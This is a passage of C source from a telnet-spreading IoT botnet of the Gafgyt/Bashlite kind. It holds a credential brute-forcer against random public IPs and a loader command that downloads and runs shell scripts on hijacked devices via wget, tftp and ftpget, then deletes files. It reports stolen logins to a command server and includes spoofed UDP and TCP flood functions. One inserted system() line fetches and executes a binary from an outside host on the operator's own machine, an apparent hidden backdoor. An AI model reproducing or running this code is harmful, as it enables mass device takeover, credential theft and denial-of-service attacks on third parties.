  850.                 uint32_t totalTimeout;
  851.                 uint16_t bufUsed;
  852.                 char *sockbuf;
  853.         } fds[max];
  854.         memset(fds, 0, max * (sizeof(int) + 1));
  855.         for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  856.         struct timeval timeout;
  857.         timeout.tv_sec = 5;
  858.         timeout.tv_usec = 0;
  859.         while(1)
  860.         {
  861.                 for(i = 0; i < max; i++)
  862.                 {
  863.                         switch(fds[i].state)
  864.                         {
  865.                         case 0:
  866.                                 {
  867.                                         memset(fds[i].sockbuf, 0, 1024);
  868.  
  869.                                         if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  870.                                         else {
  871.                                                 fds[i].passwordInd++;
  872.                                                 if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  873.                                                 if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  874.                                         }
  875.                                         dest_addr.sin_family = AF_INET;
  876.                                         dest_addr.sin_port = htons(23);
  877.                                         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  878.                                         dest_addr.sin_addr.s_addr = fds[i].ip;
  879.                                         fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  880.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  881.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  882.                                         if(fds[i].fd == -1) { continue; }
  883.                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  884.                                         if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
  885.                                         else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  886.                                 }
  887.                                 break;
  888.  
  889.                         case 1:
  890.                                 {
  891.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  892.  
  893.                                         FD_ZERO(&myset);
  894.                                         FD_SET(fds[i].fd, &myset);
  895.                                         tv.tv_sec = 0;
  896.                                         tv.tv_usec = 10000;
  897.                                         res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  898.                                         if(res == 1)
  899.                                         {
  900.                                                 lon = sizeof(int);
  901.                                                 valopt = 0;
  902.                                                 getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  903.                                                 if(valopt)
  904.                                                 {
  905.                                                         sclose(fds[i].fd);
  906.                                                         fds[i].state = 0;
  907.                                                         fds[i].complete = 1;
  908.                                                 } else {
  909.                                                         fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  910.                                                         fds[i].totalTimeout = 0;
  911.                                                         fds[i].bufUsed = 0;
  912.                                                         memset(fds[i].sockbuf, 0, 1024);
  913.                                                         fds[i].state = 2;
  914.                                                         continue;
  915.                                                 }
  916.                                         } else if(res == -1)
  917.                                         {
  918.                                                 sclose(fds[i].fd);
  919.                                                 fds[i].state = 0;
  920.                                                 fds[i].complete = 1;
  921.                                         }
  922.  
  923.                                         if(fds[i].totalTimeout + 8 < time(NULL))
  924.                                         {
  925.                                                 sclose(fds[i].fd);
  926.                                                 fds[i].state = 0;
  927.                                                 fds[i].complete = 1;
  928.                                         }
  929.                                 }
  930.                                 break;
  931.  
  932.                         case 2:
  933.                                 {
  934.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  935.  
  936.                                         if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  937.                                         {
  938.                                                 fds[i].totalTimeout = 0;
  939.                                                 fds[i].bufUsed = 0;
  940.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  941.                                                 else memset(fds[i].sockbuf, 0, 1024);
  942.                                                 fds[i].state = 3;
  943.                                                 continue;
  944.                                         }
  945.                                         else if(readUntil(fds[i].fd, "user:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  946.                                         {
  947.                                                 fds[i].totalTimeout = 0;
  948.                                                 fds[i].bufUsed = 0;
  949.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  950.                                                 else memset(fds[i].sockbuf, 0, 1024);
  951.                                                 fds[i].state = 3;
  952.                                                 continue;
  953.                                         }
  954.                                         else if(readUntil(fds[i].fd, "name", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  955.                                         {
  956.                                                 fds[i].totalTimeout = 0;
  957.                                                 fds[i].bufUsed = 0;
  958.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  959.                                                 else memset(fds[i].sockbuf, 0, 1024);
  960.                                                 fds[i].state = 3;
  961.                                                 continue;
  962.                                         }
  963.                                         else if(readUntil(fds[i].fd, "pass", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  964.                                         {
  965.                                                 fds[i].totalTimeout = 0;
  966.                                                 fds[i].bufUsed = 0;
  967.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  968.                                                 else memset(fds[i].sockbuf, 0, 1024);
  969.                                                 fds[i].state = 3;
  970.                                                 continue;
  971.                                         }
  972.                                         else if(readUntil(fds[i].fd, "word", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  973.                                         {
  974.                                                 fds[i].totalTimeout = 0;
  975.                                                 fds[i].bufUsed = 0;
  976.                                                 if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  977.                                                 else memset(fds[i].sockbuf, 0, 1024);
  978.                                                 fds[i].state = 3;
  979.                                                 continue;
  980.                                         } else {
  981.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  982.                                         }
  983.  
  984.                                         if(fds[i].totalTimeout + 8 < time(NULL))
  985.                                         {
  986.                                                 sclose(fds[i].fd);
  987.                                                 fds[i].state = 0;
  988.                                                 fds[i].complete = 1;
  989.                                         }
  990.                                 }
  991.                                 break;
  992.  
  993.                         case 3:
  994.                                 {
  995.                                         if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  996.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  997.                                         fds[i].state = 4;
  998.                                 }
  999.                                 break;
  1000.  
  1001.                         case 4:
  1002.                                 {
  1003.                                         if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1004.  
  1005.                                         if(readUntil(fds[i].fd, "pass", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1006.                                         {
  1007.                                                 fds[i].totalTimeout = 0;
  1008.                                                 fds[i].bufUsed = 0;
  1009.                                                 if(strstr(fds[i].sockbuf, "pass") != NULL) fds[i].state = 5;
  1010.                                                 else fds[i].state = 7;
  1011.                                                 memset(fds[i].sockbuf, 0, 1024);
  1012.                                                 continue;
  1013.                                         }
  1014.                                         if(readUntil(fds[i].fd, "word", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1015.                                         {
  1016.                                                 fds[i].totalTimeout = 0;
  1017.                                                 fds[i].bufUsed = 0;
  1018.                                                 if(strstr(fds[i].sockbuf, "word") != NULL) fds[i].state = 5;
  1019.                                                 else fds[i].state = 7;
  1020.                                                 memset(fds[i].sockbuf, 0, 1024);
  1021.                                                 continue;
  1022.                                         }
  1023.                                             else {
  1024.                                                 if(strstr(fds[i].sockbuf, "invalid") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1025.                                                 if(strstr(fds[i].sockbuf, "incorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1026.                                                 if(strstr(fds[i].sockbuf, "fail") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1027.                                                 if(strstr(fds[i].sockbuf, "again") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1028.                                                 if(strstr(fds[i].sockbuf, "wrong") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1029.                                                 if(strstr(fds[i].sockbuf, "accessdenied") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1030.                                                 if(strstr(fds[i].sockbuf, "denied") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1031.                                                 if(strstr(fds[i].sockbuf, "error") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1032.                                                 if(strstr(fds[i].sockbuf, "bad") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1033.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  1034.                                         }
  1035.  
  1036.                                         if(fds[i].totalTimeout + 8 < time(NULL))
  1037.                                         {
  1038.                                                 sclose(fds[i].fd);
  1039.                                                 fds[i].state = 0;
  1040.                                                 fds[i].complete = 1;
  1041.                                         }
  1042.                                 }
  1043.                                 break;
  1044.  
  1045.                         case 5:
  1046.                                 {
  1047.                                         if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1048.                     system("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  1049.                                         if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1050.                                         fds[i].state = 6;
  1051.                                 }
  1052.                                 break;
  1053.  
  1054.                         case 6:
  1055.                                 {
  1056.                                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1057.  
  1058.                                     if(readUntil(fds[i].fd, "invalid", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1059.                                     {
  1060.                                         fds[i].totalTimeout = 0;
  1061.                                         fds[i].bufUsed = 0;
  1062.                                         if(strstr(fds[i].sockbuf, "invalid") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1063.                                         if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1064.                                         else fds[i].state = 7;
  1065.                                         memset(fds[i].sockbuf, 0, 1024);
  1066.                                         continue;
  1067.                                     }
  1068.                                     if(readUntil(fds[i].fd, "incorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1069.                                     {
  1070.                                         fds[i].totalTimeout = 0;
  1071.                                         fds[i].bufUsed = 0;
  1072.                                         if(strstr(fds[i].sockbuf, "incorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1073.                                         if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1074.                                         else fds[i].state = 7;
  1075.                                         memset(fds[i].sockbuf, 0, 1024);
  1076.                                         continue;
  1077.                                     }
  1078.                                     if(readUntil(fds[i].fd, "fail", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1079.                                     {
  1080.                                         fds[i].totalTimeout = 0;
  1081.                                         fds[i].bufUsed = 0;
  1082.                                         if(strstr(fds[i].sockbuf, "fail") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1083.                                         else fds[i].state = 7;
  1084.                                         memset(fds[i].sockbuf, 0, 1024);
  1085.                                         continue;
  1086.                                     }
  1087.                                     if(readUntil(fds[i].fd, "again", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1088.                                     {
  1089.                                         fds[i].totalTimeout = 0;
  1090.                                         fds[i].bufUsed = 0;
  1091.                                         if(strstr(fds[i].sockbuf, "again") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1092.                                         else fds[i].state = 7;
  1093.                                         memset(fds[i].sockbuf, 0, 1024);
  1094.                                         continue;
  1095.                                     }
  1096.                                     if(readUntil(fds[i].fd, "wrong", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1097.                                     {
  1098.                                         fds[i].totalTimeout = 0;
  1099.                                         fds[i].bufUsed = 0;
  1100.                                         if(strstr(fds[i].sockbuf, "wrong") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1101.                                         else fds[i].state = 7;
  1102.                                         memset(fds[i].sockbuf, 0, 1024);
  1103.                                         continue;
  1104.                                     }
  1105.                                     if(readUntil(fds[i].fd, "accessdenied", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1106.                                     {
  1107.                                         fds[i].totalTimeout = 0;
  1108.                                         fds[i].bufUsed = 0;
  1109.                                         if(strstr(fds[i].sockbuf, "accessdenied") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1110.                                         else fds[i].state = 7;
  1111.                                         memset(fds[i].sockbuf, 0, 1024);
  1112.                                         continue;
  1113.                                     }
  1114.                                     if(readUntil(fds[i].fd, "denied", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1115.                                     {
  1116.                                         fds[i].totalTimeout = 0;
  1117.                                         fds[i].bufUsed = 0;
  1118.                                         if(strstr(fds[i].sockbuf, "denied") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1119.                                         else fds[i].state = 7;
  1120.                                         memset(fds[i].sockbuf, 0, 1024);
  1121.                                         continue;
  1122.                                     }
  1123.                                     if(readUntil(fds[i].fd, "error", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1124.                                     {
  1125.                                         fds[i].totalTimeout = 0;
  1126.                                         fds[i].bufUsed = 0;
  1127.                                         if(strstr(fds[i].sockbuf, "error") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1128.                                         else fds[i].state = 7;
  1129.                                         memset(fds[i].sockbuf, 0, 1024);
  1130.                                         continue;
  1131.                                     }
  1132.                                     if(readUntil(fds[i].fd, "bad", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1133.                                     {
  1134.                                         fds[i].totalTimeout = 0;
  1135.                                         fds[i].bufUsed = 0;
  1136.                                         if(strstr(fds[i].sockbuf, "bad") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1137.                                         else fds[i].state = 7;
  1138.                                         memset(fds[i].sockbuf, 0, 1024);
  1139.                                         continue;
  1140.                                     }
  1141.                                     else {
  1142.                                                 fds[i].bufUsed = strlen(fds[i].sockbuf);
  1143.                                         }
  1144.  
  1145.                                         if(fds[i].totalTimeout + 8 < time(NULL))
  1146.                                         {
  1147.                                                 sclose(fds[i].fd);
  1148.                                                 fds[i].state = 0;
  1149.                                                 fds[i].complete = 1;
  1150.                                         }
  1151.                                 }
  1152.                                 break;
  1153.  
  1154.                         case 7:
  1155.                                 {
  1156.                                     if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1157.                                     fds[i].state = 8;
  1158.                                 }
  1159.                                 break;
  1160.  
  1161.                         case 8:
  1162.                                 {
  1163.                                     if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1164.                                     fds[i].state = 9;
  1165.                                 }
  1166.                                 break;
  1167.  
  1168.                         case 9:
  1169.                                 {
  1170.                                     if(send(fds[i].fd, "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 335, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1171.                                     fds[i].state = 10;
  1172.                                 }
  1173.                                 break;
  1174.  
  1175.                         case 10:
  1176.                                 {
  1177.                                     if(send(fds[i].fd, "/bin/busybox;echo -e '\x67\x61\x79\x66\x67\x74'\r\n", 49, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1178.                                     fds[i].state = 11;
  1179.                                 }
  1180.                                 break;
  1181.  
  1182.                         case 11:
  1183.                                 {
  1184.                                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1185.  
  1186.                                     if(readUntil(fds[i].fd, "ulti-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1187.                                     {
  1188.                                         fds[i].totalTimeout = 0;
  1189.                                         fds[i].bufUsed = 0;
  1190.                                         send(fds[i].fd, "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 335, MSG_NOSIGNAL);
  1191.                                         sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1192.                                         continue;
  1193.  
  1194.                                     }
  1195.                                     else if(readUntil(fds[i].fd, "multi-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1196.                                     {
  1197.                                         fds[i].totalTimeout = 0;
  1198.                                         fds[i].bufUsed = 0;
  1199.                                         send(fds[i].fd, "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 335, MSG_NOSIGNAL);
  1200.                                         sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1201.                                         continue;
  1202.  
  1203.                                     }
  1204.                                     else if(readUntil(fds[i].fd, "gayfgt", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1205.                                     {
  1206.                                         fds[i].totalTimeout = 0;
  1207.                                         fds[i].bufUsed = 0;
  1208.                                         send(fds[i].fd, "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n", 335, MSG_NOSIGNAL);
  1209.                                         sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1210.                                         memset(fds[i].sockbuf, 0, 1024);
  1211.                                         sclose(fds[i].fd);
  1212.                                         fds[i].complete = 1;
  1213.                                         fds[i].state = 0;
  1214.                                         continue;
  1215.                                     }
  1216.                                     else {
  1217.                                             fds[i].bufUsed = strlen(fds[i].sockbuf);
  1218.                                          }
  1219.  
  1220.                                     if(fds[i].totalTimeout + 10 < time(NULL))
  1221.                                     {
  1222.                                         sclose(fds[i].fd);
  1223.                                         fds[i].state = 0;
  1224.                                         fds[i].complete = 1;
  1225.                                     }
  1226.                                 }
  1227.                                 break;
  1228.                         }
  1229.                 }
  1230.         }
  1231. }
  1232.  
  1233. /*
  1234. ╦ ╦╔╦╗╔═╗  ╔═╗┌┬┐┌┬┐┌─┐┌─┐┬┌─
  1235. ║ ║ ║║╠═╝  ╠═╣ │  │ ├─┤│  ├┴┐
  1236. ╚═╝═╩╝╩    ╩ ╩ ┴  ┴ ┴ ┴└─┘┴ ┴
  1237. */
  1238.  
  1239. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1240. {
  1241.         struct sockaddr_in dest_addr;
  1242.  
  1243.         dest_addr.sin_family = AF_INET;
  1244.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1245.         else dest_addr.sin_port = htons(port);
  1246.         if(getHost(target, &dest_addr.sin_addr)) return;
  1247.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1248.  
  1249.         register unsigned int pollRegister;
  1250.         pollRegister = pollinterval;
  1251.  
  1252.         if(spoofit == 32)
  1253.         {
  1254.                 int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1255.                 if(!sockfd)
  1256.                 {
  1257.                         sockprintf(mainCommSock, "Failed opening raw socket.");
  1258.                         return;
  1259.                 }
  1260.  
  1261.                 unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1262.                 if(buf == NULL) return;
  1263.                 memset(buf, 0, packetsize + 1);
  1264.                 makeRandomStr(buf, packetsize);
  1265.  
  1266.                 int end = time(NULL) + timeEnd;
  1267.                 register unsigned int i = 0;
  1268.                 while(1)
  1269.                 {
  1270.                         sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1271.  
  1272.                         if(i == pollRegister)
  1273.                         {
  1274.                                 if(port == 0) dest_addr.sin_port = rand_cmwc();
  1275.                                 if(time(NULL) > end) break;
  1276.                                 i = 0;
  1277.                                 continue;
  1278.                         }
  1279.                         i++;
  1280.                 }
  1281.         } else {
  1282.                 int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1283.                 if(!sockfd)
  1284.                 {
  1285.                         sockprintf(mainCommSock, "Failed opening raw socket.");
  1286.                         //sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1287.                         return;
  1288.                 }
  1289.  
  1290.                 int tmp = 1;
  1291.                 if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1292.                 {
  1293.                         sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1294.                         return;
  1295.                 }
  1296.  
  1297.                 int counter = 50;
  1298.                 while(counter--)
  1299.                 {
  1300.                         srand(time(NULL) ^ rand_cmwc());
  1301.                         init_rand(rand());
  1302.                 }
  1303.  
  1304.                 in_addr_t netmask;
  1305.  
  1306.                 if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1307.                 else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1308.  
  1309.                 unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1310.                 struct iphdr *iph = (struct iphdr *)packet;
  1311.                 struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1312.  
  1313.                 makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1314.  
  1315.                 udph->len = htons(sizeof(struct udphdr) + packetsize);
  1316.                 udph->source = rand_cmwc();
  1317.                 udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1318.                 udph->check = 0;
  1319.  
  1320.                 makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1321.  
  1322.                 iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1323.  
  1324.                 int end = time(NULL) + timeEnd;
  1325.                 register unsigned int i = 0;
  1326.                 while(1)
  1327.                 {
  1328.                         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1329.  
  1330.                         udph->source = rand_cmwc();
  1331.                         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1332.                         iph->id = rand_cmwc();
  1333.                         iph->saddr = htonl( getRandomIP(netmask) );
  1334.                         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1335.  
  1336.                         if(i == pollRegister)
  1337.                         {
  1338.                                 if(time(NULL) > end) break;
  1339.                                 i = 0;
  1340.                                 continue;
  1341.                         }
  1342.                         i++;
  1343.                 }
  1344.         }
  1345. }
  1346.  
  1347. /*
  1348. ╔╦╗╔═╗╔═╗  ╔═╗┌┬┐┌┬┐┌─┐┌─┐┬┌─
  1349.  ║ ║  ╠═╝  ╠═╣ │  │ ├─┤│  ├┴┐
  1350.  ╩ ╚═╝╩    ╩ ╩ ┴  ┴ ┴ ┴└─┘┴ ┴
  1351.  */
  1352.  
  1353. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1354. {
  1355.         register unsigned int pollRegister;
  1356.         pollRegister = pollinterval;
  1357.  
  1358.         struct sockaddr_in dest_addr;
  1359.  
  1360.         dest_addr.sin_family = AF_INET;
  1361.         if(port == 0) dest_addr.sin_port = rand_cmwc();
  1362.         else dest_addr.sin_port = htons(port);
  1363.         if(getHost(target, &dest_addr.sin_addr)) return;
  1364.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1365.  
  1366.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1367.         if(!sockfd)
  1368.         {
  1369.                 sockprintf(mainCommSock, "Failed opening raw socket.");
  1370.                 return;
  1371.         }
  1372.  
  1373.         int tmp = 1;
  1374.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1375.         {
  1376.                 sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1377.                 return;
  1378.         }
  1379.  
  1380.         in_addr_t netmask;
  1381.  
  1382.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1383.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1384.  
  1385.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1386.         struct iphdr *iph = (struct iphdr *)packet;
  1387.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1388.  
  1389.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1390.  
  1391.         tcph->source = rand_cmwc();
  1392.         tcph->seq = rand_cmwc();
  1393.         tcph->ack_seq = 0;
  1394.         tcph->doff = 5;
  1395.  
  1396.         if(!strcmp(flags, "all"))
  1397.         {
  1398.                 tcph->syn = 1;
  1399.                 tcph->rst = 1;
  1400.                 tcph->fin = 1;
  1401.                 tcph->ack = 1;
  1402.                 tcph->psh = 1;
  1403.         } else {
  1404.                 unsigned char *pch = strtok(flags, ",");
  1405.                 while(pch)
  1406.                 {
  1407.                         if(!strcmp(pch,         "syn"))
  1408.                         {
  1409.                                 tcph->syn = 1;
  1410.                         } else if(!strcmp(pch,  "rst"))
  1411.                         {
  1412.                                 tcph->rst = 1;
  1413.                         } else if(!strcmp(pch,  "fin"))
  1414.                         {
  1415.                                 tcph->fin = 1;
  1416.                         } else if(!strcmp(pch,  "ack"))
  1417.                         {
  1418.                                 tcph->ack = 1;
  1419.                         } else if(!strcmp(pch,  "psh"))
  1420.                         {
  1421.                                 tcph->psh = 1;
  1422.                         } else {
  1423.                                 sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  1424.                         }
  1425.                         pch = strtok(NULL, ",");
  1426.                 }
  1427.         }
  1428.  
